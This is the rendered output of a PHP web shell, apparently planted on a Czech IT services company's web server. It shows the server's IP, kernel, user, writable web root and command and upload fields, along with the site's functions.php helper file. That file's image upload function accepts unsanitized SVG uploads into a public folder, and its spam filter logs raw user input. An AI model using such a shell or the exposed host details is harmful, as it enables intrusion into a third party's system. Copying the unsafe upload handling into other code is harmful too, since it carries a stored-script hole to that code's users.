403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.215
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /volume1/web/jservices_cz/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /volume1/web/jservices_cz/functions.php
<?php
declare(strict_types=1);

/**
 * J Services - pomocné funkce
 * Načteno automaticky přes config.php
 */

function nacti_nastaveni(PDO $pdo, string $klic, string $vychozi = ''): string
{
    $stmt = $pdo->prepare('SELECT hodnota FROM nastaveni WHERE klic = :k');
    $stmt->execute(['k' => $klic]);
    $hodnota = $stmt->fetchColumn();
    return $hodnota !== false ? (string) $hodnota : $vychozi;
}

function nacti_vsechna_nastaveni(PDO $pdo): array
{
    $vysledek = [];
    $stmt = $pdo->query('SELECT klic, hodnota FROM nastaveni');
    foreach ($stmt->fetchAll() as $radek) {
        $vysledek[$radek['klic']] = $radek['hodnota'];
    }
    return $vysledek;
}

function ulozit_nastaveni(PDO $pdo, string $klic, string $hodnota): void
{
    $stmt = $pdo->prepare(
        'INSERT INTO nastaveni (klic, hodnota) VALUES (:k, :h)
         ON DUPLICATE KEY UPDATE hodnota = :h2'
    );
    $stmt->execute(['k' => $klic, 'h' => $hodnota, 'h2' => $hodnota]);
}

/** Bezpečný výstup textu do HTML */
function e(?string $text): string
{
    return htmlspecialchars($text ?? '', ENT_QUOTES, 'UTF-8');
}

/** Je admin přihlášený? */
function je_prihlasen(): bool
{
    return !empty($_SESSION['admin_id']);
}

/** Vyžaduje přihlášení, jinak přesměruje na admin.html */
function vyzaduj_prihlaseni(): void
{
    if (!je_prihlasen()) {
        header('Location: admin.html');
        exit;
    }
}

/** Vrátí SVG ikonu podle názvu (jednotný styl napříč webem) */
function icon(string $name, int $size = 20): string
{
    $attr = 'width="' . $size . '" height="' . $size . '" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"';

    $paths = [
        'headset'   => '<path d="M3 18v-6a9 9 0 0 1 18 0v6"/><path d="M21 19a2 2 0 0 1-2 2h-1a2 2 0 0 1-2-2v-3a2 2 0 0 1 2-2h3z"/><path d="M3 19a2 2 0 0 0 2 2h1a2 2 0 0 0 2-2v-3a2 2 0 0 0-2-2H3z"/>',
        'ticket'    => '<rect x="3" y="6" width="18" height="12" rx="2"/><line x1="9" y1="6" x2="9" y2="18" stroke-dasharray="3 3"/>',
        'calendar'  => '<rect x="3" y="4" width="18" height="18" rx="2"/><line x1="16" y1="2" x2="16" y2="6"/><line x1="8" y1="2" x2="8" y2="6"/><line x1="3" y1="10" x2="21" y2="10"/>',
        'check'     => '<polyline points="20 6 9 17 4 12"/>',
        'code'      => '<polyline points="8 6 3 12 8 18"/><polyline points="16 6 21 12 16 18"/>',
        'desktop'   => '<rect x="3" y="4" width="18" height="13" rx="1"/><path d="M8 21h8M12 17v4"/>',
        'database'  => '<ellipse cx="12" cy="5" rx="8" ry="3"/><path d="M4 5v14c0 1.66 3.58 3 8 3s8-1.34 8-3V5"/><path d="M4 12c0 1.66 3.58 3 8 3s8-1.34 8-3"/>',
        'mail'      => '<rect x="3" y="5" width="18" height="14" rx="2"/><path d="M3 7l9 6 9-6"/>',
        'automation'=> '<circle cx="12" cy="12" r="3"/><path d="M12 1v6m0 10v6M4.22 4.22l4.24 4.24m6.36 6.36l4.24 4.24M1 12h6m10 0h6M4.22 19.78l4.24-4.24m6.36-6.36l4.24-4.24"/>',
        'pin'       => '<path d="M21 10c0 7-9 13-9 13s-9-6-9-13a9 9 0 0 1 18 0z"/><circle cx="12" cy="10" r="3"/>',
        'arrow'     => '<line x1="5" y1="12" x2="19" y2="12"/><polyline points="12 5 19 12 12 19"/>',
        'users'     => '<path d="M17 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2"/><circle cx="9" cy="7" r="4"/><path d="M23 21v-2a4 4 0 0 0-3-3.87"/><path d="M16 3.13a4 4 0 0 1 0 7.75"/>',
        'refresh'   => '<polyline points="23 4 23 10 17 10"/><polyline points="1 20 1 14 7 14"/><path d="M3.51 9a9 9 0 0 1 14.85-3.36L23 10M1 14l4.64 4.36A9 9 0 0 0 20.49 15"/>',
        'shield'    => '<path d="M12 2l8 4v6c0 5-3.5 9-8 10-4.5-1-8-5-8-10V6l8-4z"/><path d="M9 12l2 2 4-4"/>',
        'phone'     => '<path d="M22 16.92v3a2 2 0 0 1-2.18 2 19.79 19.79 0 0 1-8.63-3.07 19.5 19.5 0 0 1-6-6 19.79 19.79 0 0 1-3.07-8.67A2 2 0 0 1 4.11 2h3a2 2 0 0 1 2 1.72c.127.96.361 1.903.7 2.81a2 2 0 0 1-.45 2.11L8.09 9.91a16 16 0 0 0 6 6l1.27-1.27a2 2 0 0 1 2.11-.45c.907.339 1.85.573 2.81.7A2 2 0 0 1 22 16.92z"/>',
    ];

    if (!isset($paths[$name])) {
        return '';
    }

    return '<svg ' . $attr . ' aria-hidden="true">' . $paths[$name] . '</svg>';
}

/** Vrátí plnou žlutou hvězdičku (hodnocení) */
function icon_hvezda(int $size = 14): string
{
    return '<svg width="' . $size . '" height="' . $size . '" viewBox="0 0 24 24" fill="currentColor" aria-hidden="true">'
        . '<path d="M12 2l2.9 6.4 7.1.6-5.4 4.6 1.6 7-6.2-3.8L6 20.6l1.6-7L2.2 9l7.1-.6z"/></svg>';
}

/** Ikony sociálních sítí */
function icon_socialni(string $site, int $size = 18): string
{
    $attr = 'width="' . $size . '" height="' . $size . '" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"';
    if ($site === 'facebook') {
        return '<svg ' . $attr . ' aria-hidden="true"><path d="M18 2h-3a5 5 0 0 0-5 5v3H7v4h3v8h4v-8h3l1-4h-4V7a1 1 0 0 1 1-1h3z"/></svg>';
    }
    if ($site === 'instagram') {
        return '<svg ' . $attr . ' aria-hidden="true"><rect x="2" y="2" width="20" height="20" rx="5"/><circle cx="12" cy="12" r="4"/><circle cx="17.5" cy="6.5" r="0.8" fill="currentColor" stroke="none"/></svg>';
    }
    return '';
}

/**
 * Centrální definice editovatelných textů veřejné stránky.
 * klíč => [label pro administraci, výchozí text, typ pole, skupina]
 */
function definice_obsahu(): array
{
    return [
        'hero_badge'  => ['label' => 'Odznak', 'vychozi' => 'IT partner pro firmy bez vlastního IT', 'typ' => 'text', 'skupina' => 'Hero'],
        'hero_nadpis' => ['label' => 'Nadpis', 'vychozi' => 'IT, na které se můžete spolehnout', 'typ' => 'text', 'skupina' => 'Hero'],
        'hero_popis'  => ['label' => 'Popis pod nadpisem', 'vychozi' => 'Správa IT, webové stránky i rezervační systémy na míru pro malé a střední firmy. Osobně i na dálku, dlouhodobě.', 'typ' => 'textarea', 'skupina' => 'Hero'],

        'sluzby_nadpis' => ['label' => 'Nadpis sekce', 'vychozi' => 'Co dalšího nabízíme', 'typ' => 'text', 'skupina' => 'Služby'],

        'helpdesk_nadpis' => ['label' => 'Nadpis sekce', 'vychozi' => 'Jak funguje náš helpdesk', 'typ' => 'text', 'skupina' => 'Helpdesk'],
        'krok1_nadpis'    => ['label' => 'Krok 1 – nadpis', 'vychozi' => 'Zadáte tiket', 'typ' => 'text', 'skupina' => 'Helpdesk'],
        'krok1_popis'     => ['label' => 'Krok 1 – popis', 'vychozi' => 'Přes náš online helpdesk', 'typ' => 'text', 'skupina' => 'Helpdesk'],
        'krok2_nadpis'    => ['label' => 'Krok 2 – nadpis', 'vychozi' => 'Převezmeme ho', 'typ' => 'text', 'skupina' => 'Helpdesk'],
        'krok2_popis'     => ['label' => 'Krok 2 – popis', 'vychozi' => 'Vždy jeden z nás dvou', 'typ' => 'text', 'skupina' => 'Helpdesk'],
        'krok3_nadpis'    => ['label' => 'Krok 3 – nadpis', 'vychozi' => 'Vyřešíme', 'typ' => 'text', 'skupina' => 'Helpdesk'],
        'krok3_popis'     => ['label' => 'Krok 3 – popis', 'vychozi' => 'Vzdáleně nebo u vás', 'typ' => 'text', 'skupina' => 'Helpdesk'],

        'procmy_nadpis' => ['label' => 'Nadpis sekce', 'vychozi' => 'Proč my', 'typ' => 'text', 'skupina' => 'Proč my'],
        'procmy1_tucne' => ['label' => 'Řádek 1 – tučná část', 'vychozi' => 'Vždy mluvíte s tím, kdo to řeší', 'typ' => 'text', 'skupina' => 'Proč my'],
        'procmy1_text'  => ['label' => 'Řádek 1 – zbytek věty', 'vychozi' => '– žádné call centrum', 'typ' => 'text', 'skupina' => 'Proč my'],
        'procmy2_tucne' => ['label' => 'Řádek 2 – tučná část', 'vychozi' => 'Dlouhodobá spolupráce', 'typ' => 'text', 'skupina' => 'Proč my'],
        'procmy2_text'  => ['label' => 'Řádek 2 – zbytek věty', 'vychozi' => '– poznáme vaši infrastrukturu', 'typ' => 'text', 'skupina' => 'Proč my'],
        'procmy3_tucne' => ['label' => 'Řádek 3 – tučná část', 'vychozi' => 'Bezpečnost a zálohy', 'typ' => 'text', 'skupina' => 'Proč my'],
        'procmy3_text'  => ['label' => 'Řádek 3 – zbytek věty', 'vychozi' => 'jako samozřejmost', 'typ' => 'text', 'skupina' => 'Proč my'],

        'reference_nadpis' => ['label' => 'Nadpis sekce', 'vychozi' => 'Co o nás říkají zákazníci', 'typ' => 'text', 'skupina' => 'Reference'],

        'kontakt_nadpis' => ['label' => 'Nadpis', 'vychozi' => 'Pojďme probrat vaše IT', 'typ' => 'text', 'skupina' => 'Kontakt'],
        'kontakt_popis'  => ['label' => 'Popis', 'vychozi' => 'Bez závazků, do druhého dne se ozveme.', 'typ' => 'text', 'skupina' => 'Kontakt'],
    ];
}

/** Vrátí pole klíč => aktuální hodnota (uložená v DB, nebo výchozí text) pro všechny editovatelné texty */
function nacti_obsah(PDO $pdo): array
{
    $definice = definice_obsahu();
    $ulozeno  = nacti_vsechna_nastaveni($pdo);
    $vysledek = [];

    foreach ($definice as $klic => $info) {
        if (array_key_exists($klic, $ulozeno) && $ulozeno[$klic] !== '') {
            $vysledek[$klic] = $ulozeno[$klic];
        } else {
            $vysledek[$klic] = $info['vychozi'];
        }
    }

    return $vysledek;
}

/** Zpracuje nahraný obrázek, zmenší ho a uloží do assets/img/uploads/
 *  Vrátí relativní cestu k souboru (assets/img/uploads/xxx.png) nebo '' při chybě.
 *  $maxW/$maxH = max rozměry výsledku v pixelech
 */
function zpracuj_nahrani_obrazku(array $soubor, string $prefix, int $maxW = 64, int $maxH = 64): string
{
    if (!isset($soubor['tmp_name']) || $soubor['error'] !== UPLOAD_ERR_OK) {
        return '';
    }

    $povolene = ['image/jpeg', 'image/png', 'image/gif', 'image/webp', 'image/svg+xml'];
    $mime     = mime_content_type($soubor['tmp_name']);

    if (!in_array($mime, $povolene, true)) {
        return '';
    }

    $slozka = __DIR__ . '/assets/img/uploads/';
    if (!is_dir($slozka)) {
        mkdir($slozka, 0755, true);
    }

    $pripona  = $mime === 'image/svg+xml' ? 'svg' : 'png';
    $nazev    = $prefix . '_' . uniqid() . '.' . $pripona;
    $cil      = $slozka . $nazev;

    // SVG ukládáme přímo bez změny velikosti
    if ($mime === 'image/svg+xml') {
        if (!move_uploaded_file($soubor['tmp_name'], $cil)) {
            return '';
        }
        return 'assets/img/uploads/' . $nazev;
    }

    // Rastrové obrázky zmenšíme přes GD
    if (!extension_loaded('gd')) {
        // GD není k dispozici - uložíme as-is
        if (!move_uploaded_file($soubor['tmp_name'], $cil)) {
            return '';
        }
        return 'assets/img/uploads/' . $nazev;
    }

    $zdroj = match($mime) {
        'image/jpeg' => imagecreatefromjpeg($soubor['tmp_name']),
        'image/gif'  => imagecreatefromgif($soubor['tmp_name']),
        'image/webp' => imagecreatefromwebp($soubor['tmp_name']),
        default      => imagecreatefrompng($soubor['tmp_name']),
    };

    if (!$zdroj) {
        return '';
    }

    $sirkaSrc  = imagesx($zdroj);
    $vyskaSrc  = imagesy($zdroj);
    $pomer     = min($maxW / $sirkaSrc, $maxH / $vyskaSrc, 1.0);
    $novaS     = (int) round($sirkaSrc * $pomer);
    $novaV     = (int) round($vyskaSrc * $pomer);

    $vystup = imagecreatetruecolor($novaS, $novaV);
    // Průhlednost pro PNG
    imagealphablending($vystup, false);
    imagesavealpha($vystup, true);
    $pruhledna = imagecolorallocatealpha($vystup, 0, 0, 0, 127);
    imagefilledrectangle($vystup, 0, 0, $novaS, $novaV, $pruhledna);

    imagecopyresampled($vystup, $zdroj, 0, 0, 0, 0, $novaS, $novaV, $sirkaSrc, $vyskaSrc);

    imagepng($vystup, $cil, 9);
    imagedestroy($zdroj);
    imagedestroy($vystup);

    return 'assets/img/uploads/' . $nazev;
}

/** Smaže soubor z uploads složky, pokud existuje */
function smaz_soubor_obrazku(string $relativniCesta): void
{
    if ($relativniCesta === '') return;
    $plnaCesta = __DIR__ . '/' . $relativniCesta;
    if (file_exists($plnaCesta) && str_starts_with(realpath($plnaCesta), __DIR__ . '/assets/img/uploads')) {
        unlink($plnaCesta);
    }
}
function seznam_ikon_sluzeb(): array
{
    return [
        'code'       => 'Kód (web)',
        'desktop'    => 'Počítač',
        'database'   => 'Databáze / zálohy',
        'mail'       => 'Obálka (e-mail)',
        'automation' => 'Ozubené kolo (automatizace)',
        'headset'    => 'Sluchátka (podpora)',
        'pin'        => 'Pin (poloha)',
        'shield'     => 'Štít (zabezpečení)',
        'refresh'    => 'Cyklus / obnova',
        'users'      => 'Lidé',
        'phone'      => 'Telefon',
        'calendar'   => 'Kalendář',
        'ticket'     => 'Tiket',
        'check'      => 'Fajfka',
    ];
}

/**
 * Rate limiting – max 3 odeslání formuláře z jedné IP za hodinu.
 * Záznamy se ukládají do tabulky antispam_log.
 * Vrátí true pokud je IP blokována.
 */
function je_ip_blokovana(PDO $pdo, string $ip): bool
{
    // Vyčistíme staré záznamy (starší než 1 hodina)
    $pdo->prepare('DELETE FROM antispam_log WHERE cas < NOW() - INTERVAL 1 HOUR')->execute();

    $stmt = $pdo->prepare('SELECT COUNT(*) FROM antispam_log WHERE ip = :ip');
    $stmt->execute(['ip' => $ip]);
    $pocet = (int) $stmt->fetchColumn();

    return $pocet >= 3;
}

function zaznamenat_odeslani(PDO $pdo, string $ip): void
{
    $pdo->prepare('INSERT INTO antispam_log (ip) VALUES (:ip)')->execute(['ip' => $ip]);
}

/**
 * Detekce spamu v textu – vrátí true pokud zpráva vypadá jako spam.
 */
function je_spam(string $jmeno, string $zprava, string $email): bool
{
    $logSoubor = __DIR__ . '/spam_debug.log';
    $log = function(string $zprava) use ($logSoubor) {
        file_put_contents($logSoubor, date('Y-m-d H:i:s') . ' ' . $zprava . "\n", FILE_APPEND);
    };

    if (preg_match('/https?:\/\//i', $zprava)) { $log('SPAM: URL v zprave: ' . $zprava); return true; }
    if (str_contains($jmeno, '@')) { $log('SPAM: email v jmenu: ' . $jmeno); return true; }
    if (mb_strlen(trim($zprava)) < 5) { $log('SPAM: kratka zprava: ' . $zprava); return true; }
    if (preg_match('/[\x{0370}-\x{03FF}\x{0400}-\x{04FF}\x{0600}-\x{06FF}\x{4E00}-\x{9FFF}]/u', $zprava)) { $log('SPAM: cizi znaky v zprave: ' . $zprava); return true; }
    if (preg_match('/^\+?\d{8,}$/', preg_replace('/\s/', '', $jmeno))) { $log('SPAM: tel cislo jako jmeno: ' . $jmeno); return true; }

    $spamSlova = ['casino', 'viagra', 'cialis', 'poker', 'loan', 'credit', 'crypto', 'bitcoin', 'investment', 'prize', 'winner', 'click here', 'buy now'];
    $textKontrolovat = strtolower($jmeno . ' ' . $zprava);
    foreach ($spamSlova as $slovo) {
        if (str_contains($textKontrolovat, $slovo)) { $log('SPAM: klic. slovo: ' . $slovo); return true; }
    }

    $log('OK: jmeno=' . $jmeno . ' zprava=' . mb_substr($zprava, 0, 50));
    return false;
}

Youez - 2016 - github.com/yon3zu
LinuXploit